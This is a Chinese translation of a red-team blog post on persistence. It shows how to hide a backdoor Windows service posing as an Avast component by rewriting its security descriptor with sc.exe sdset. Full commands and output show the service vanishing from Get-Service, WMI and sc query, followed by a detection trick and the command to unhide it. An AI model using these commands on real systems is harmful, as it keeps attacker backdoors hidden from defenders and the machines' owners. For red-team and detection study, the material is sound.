1. 译文声明
Joshua Wright
原文地址:
https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
译文仅作参考,具体内容表达请见原文
2. 前言
分析了一些EDR检测模型后,我们初步打算使用常规可信的服务名称来对抗检测,这些可信的服务名称可能会被优先忽略。在这里,
SWCUEngine
是对应的后门程序,我们将其伪装成了AVAST软件清理引擎
。虽然这可能会逃避宽松的安全检查,但在真实的红蓝对抗中,这种方法还是不得劲。# 使用Get-Service查看目标服务信息
PS C:WINDOWSsystem32> Get-Service -Name SWCUEngine
Status Name DisplayName
------ ---- -----------
Running SWCUEngine SWCUEngine
3. 正文
安全描述符定义语言(SDDL)
来声明或控制服务权限。常规场景下管理员不会主动手动修改某一服务的SDDL语法,但是权限维持场景中攻击者可以通过修改目标服务的SDDL语法来实现隐藏服务的目的。在本栗子中,SWCUEngine
服务的隐藏效果不错。SDDL语法格式看起来有些臃肿,其主要使用了DACL和SACL组件中的ACE字符串
来声明或控制权限。关于ACE字符串
的文章请见此,ACE字符串
的格式如下:成员 | 含义 |
|
AceType 成员的值 |
|
AceFlags 成员的值 |
|
|
|
|
|
InheritedObjectType 成员的值 |
|
|
|
|
ace_type
主要为D(deny)
与A(allow)
,D条目始终排在最前面,其优先于A条目,A条目与默认权限相同。ACE字符串
举例如下:#ACE字符串(D;;DCLCWPDTSD;;;IU)含义如下:
(D;;DCLCWPDTSD;;;IU) - # 拒绝(D)交互式用户 (IU) 以下权限:
DC - SERVICE_CHANGE_CONFIG (更改服务配置)
LC - SERVICE_QUERY_STATUS (查询服务状态的权利)
WP - SERVICE_STOP (停止服务)
DT - SERVICE_PAUSE_CONTINUE (暂停和继续服务)
SD - DELETE (删除服务)
(D;;DCLCWPDTSD;;;SU) - # 拒绝System用户(SU)与上述相同的权限集
(D;;DCLCWPDTSD;;;BA) - # 拒绝管理员组(BA)与上述相同的权限集
# 使用sc.exe 修改 SWCUEngine 服务的SDDL语法以实现隐藏
PS C:WINDOWSsystem32> & $env:SystemRootSystem32sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS
#验证 SWCUEngine 服务是否隐藏成功
PS C:WINDOWSsystem32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
+ FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand
services.exe
、Get-Service
、sc query
或任何其它关于服务的控制工具均无法检索出对应信息,效果如下:#以下三种查询服务信息的手段均无信息
PS C:WINDOWSsystem32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:WINDOWSsystem32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:WINDOWSsystem32> & $env:SystemRootSystem32sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:WINDOWSsystem32
JoshNoSuchService
服务不存在,SWCUEngine
服务存在不过被隐藏了,这两种状态下通过Set-Service
指令来停止服务时的回显是不一样的,如下,前者会提示InvalidOperationException
,后者会提示ServiceCommandException
:# 停止不存在的JoshNoSuchService服务得到 InvalidOperationException 异常
PS C:WINDOWSsystem32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
+ FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand
# 停止存在但被隐藏的SWCUEngine服务得到ServiceCommandException异常
PS C:WINDOWSsystem32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denied
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [Set-Service],
ServiceCommandException
+ FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand
# 使用sc.exe修改目标服务的SDDL语法实现取消隐藏
PS C:WINDOWSsystem32> & $env:SystemRootSystem32sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS
# 现在使用 Get-Serice 指令可以查看到对应的服务信息
PS C:WINDOWSsystem32> Get-Service -Name 'SWCUEngine'
Status Name DisplayName
------ ---- -----------
Running SWCUEngine SWCUEngine
4. 参考
作者:幽幽听蝉鸣 ,文章来源:先知社区
关注公众号:HACK之道
如文章对你有帮助,请支持点下“赞”“在看”
本文始发于微信公众号(HACK之道):思路分享:windows权限维持场景中如何隐藏服务信息
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论